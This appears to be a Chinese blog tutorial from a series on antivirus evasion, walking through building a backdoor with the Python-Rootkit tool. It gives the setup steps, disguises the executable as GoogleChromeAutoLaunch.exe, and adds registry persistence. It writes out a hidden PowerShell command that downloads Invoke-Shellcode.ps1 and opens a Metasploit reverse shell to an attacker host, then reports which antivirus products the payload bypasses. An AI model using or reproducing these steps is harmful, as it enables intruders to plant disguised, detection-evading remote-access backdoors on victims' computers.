遠控免殺專題(17)-Python-Rootkit免殺

免殺能力一覽表

在這裏插入圖片描述
幾點說明:

1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。

2、爲了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由於本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作爲免殺或殺軟查殺能力的判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。

一、Python-Rootkit介紹

Python-Rootkit,2017年開源的一款工具,當時號稱Bypass all anti-virus,主要是對python代碼進行多次編碼,然後利用py2exe把python代碼打包成exe,其實最終執行的是powershell命令,使用了PowerSploit的Invoke-Shellcode.ps1來反彈msf的shell。

程序還添加了後門持續化的功能,大體就是10秒鐘檢測一次連接是否正常,如果連接不存在就再重連msf,另外還使用了註冊表添加了自啓動項。

原理很簡單,不過我在前期測試中浪費了很長時間。。請往下看

二、安裝Python-Rootkit

因爲要使用py2exe,所以我就在windows上安裝了,如果linux上安裝了wine後不知道能不能使用py2exe,可自行測試。

1、先從官網git到本地

git clone https://github.com/0xIslamTaha/Python-Rootkit

2、修改參數

進入Python-Rootkit\viRu5文件夾

打開source.py文件,修改其中的LHOTS和LPORT,這個文件也是後門的主代碼在這裏插入圖片描述
然後刪掉或重命名viRu5文件夾中原有的GoogleChromeAutoLaunch.py,把source.py改名爲GoogleChromeAutoLaunch.py

3、安裝py2exe

然後還需要安裝py2exe,我已經下載好了一份python2.7的py2exe安裝文件py2exe-0.6.9.win32-py2.7.exe,下載地址https://github.com/TideSec/BypassAntiVirus/blob/master/tools/py2exe-0.6.9.win32-py2.7.exe,下載安裝即可。

4、安裝metasploit

鄭重提示:需要安裝需要4.8.2及以下的版本

如果你的msf爲4.8.2以上版本,那麼後門是反彈不成shell的。期間看到有人說是powershell需要32位的,還有說是需要msf生成shellcode進行配合的,衆說紛紜,然後都沒解決我的問題。

我就是在這裏摸索了好長時間,才發現是msf和PowerSploit的問題,大體是msf升級到5.0後、PowerSploit升級到3.0後有些之前的功能就不大好使了。

所以後來我單獨在另一臺ubuntu上安裝了metasploit 4.8.2,下載安裝


wget https://downloads.metasploit.com/data/releases/archive/metasploit-4.8.2-linux-x64-installer.run
chmod +x metasploit-4.8.2-linux-x64-installer.run
./metasploit-4.8.2-linux-x64-installer.run

一路下一步和y確認就可以
在這裏插入圖片描述

三、Python-Rootkit使用說明

Python-Rootkit使用很簡單,只要安裝好上面的插件後,執行python.exe setup.py就可以了。

經分析,整個工具的核心代碼就一句,下載Invoke-Shellcode.ps1,反彈shell。

powershell.exe  -noprofile -windowstyle hidden iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.211.55.7 -Lport 3333 -Force;

如果你沒成功反彈shell,如果你安裝的msf版本沒問題,那麼再確認一下你的windows測試機能否連接到https://raw.githubusercontent.com,如果不行的話那肯定執行不成功的。
在這裏插入圖片描述
可以在source.py中把遠程服務器換成你自己的服務器地址
在這裏插入圖片描述
本地可以先測試一下,去掉-windowstyle hidden參數,可以看到ps代碼執行情況。


powershell.exe  -noprofile  iex (new-object net.webclient).downloadstring('http://10.211.55.2/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.211.55.7 -Lport 3333 -Force;

在這裏插入圖片描述

三、利用Python-Rootkit生成後門

在生成後門前,還需要找個.ico圖標文件,放在viRu5文件夾中,這樣viRu5文件夾裏需要有下面幾個文件
在這裏插入圖片描述
下面就可以生成後門了

python.exe setup.py

如果前面安裝都沒問題,就會出現這個界面
在這裏插入圖片描述
提示生成了後門GoogleChromeAutoLaunch.exe
在這裏插入圖片描述
使用msf進行監聽windows/meterpreter/reverse_https

爲什麼是監聽windows/meterpreter/reverse_https?因爲Invoke-Shellcode.ps1只支持windows/meterpreter/reverse_https和windows/meterpreter/reverse_http的反彈msf的shell。
在這裏插入圖片描述
運行Python-Rootkit\viRu5\dist目錄下的GoogleChromeAutoLaunch.exe,可正常上線
在這裏插入圖片描述
打開殺軟進行測試,靜態檢測都可bypass,行爲檢測時火絨提示隱藏的powershell行爲,關閉火絨後可正常上線,360安全衛士和殺毒都沒有報警。
在這裏插入圖片描述

四、Python-Rootkit小結

Python-Rootkit在測試中因爲msf5一直沒法上線折騰了很長時間,官方issue居然沒有反饋這個問題的,後來調試了半天發現是Invoke-Shellcode.ps1和msf的問題。

免殺效果整體感覺一般,還是python生成exe,執行後調用powershell下載Invoke-Shellcode.ps1,然後反彈shell,應該很容易觸發殺軟的行爲檢測。

五、參考

官方說明:https://github.com/0xIslamTaha/Python-Rootkit

Invoke-Shellcode crash:https://github.com/PowerShellMafia/PowerSploit/issues/39

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章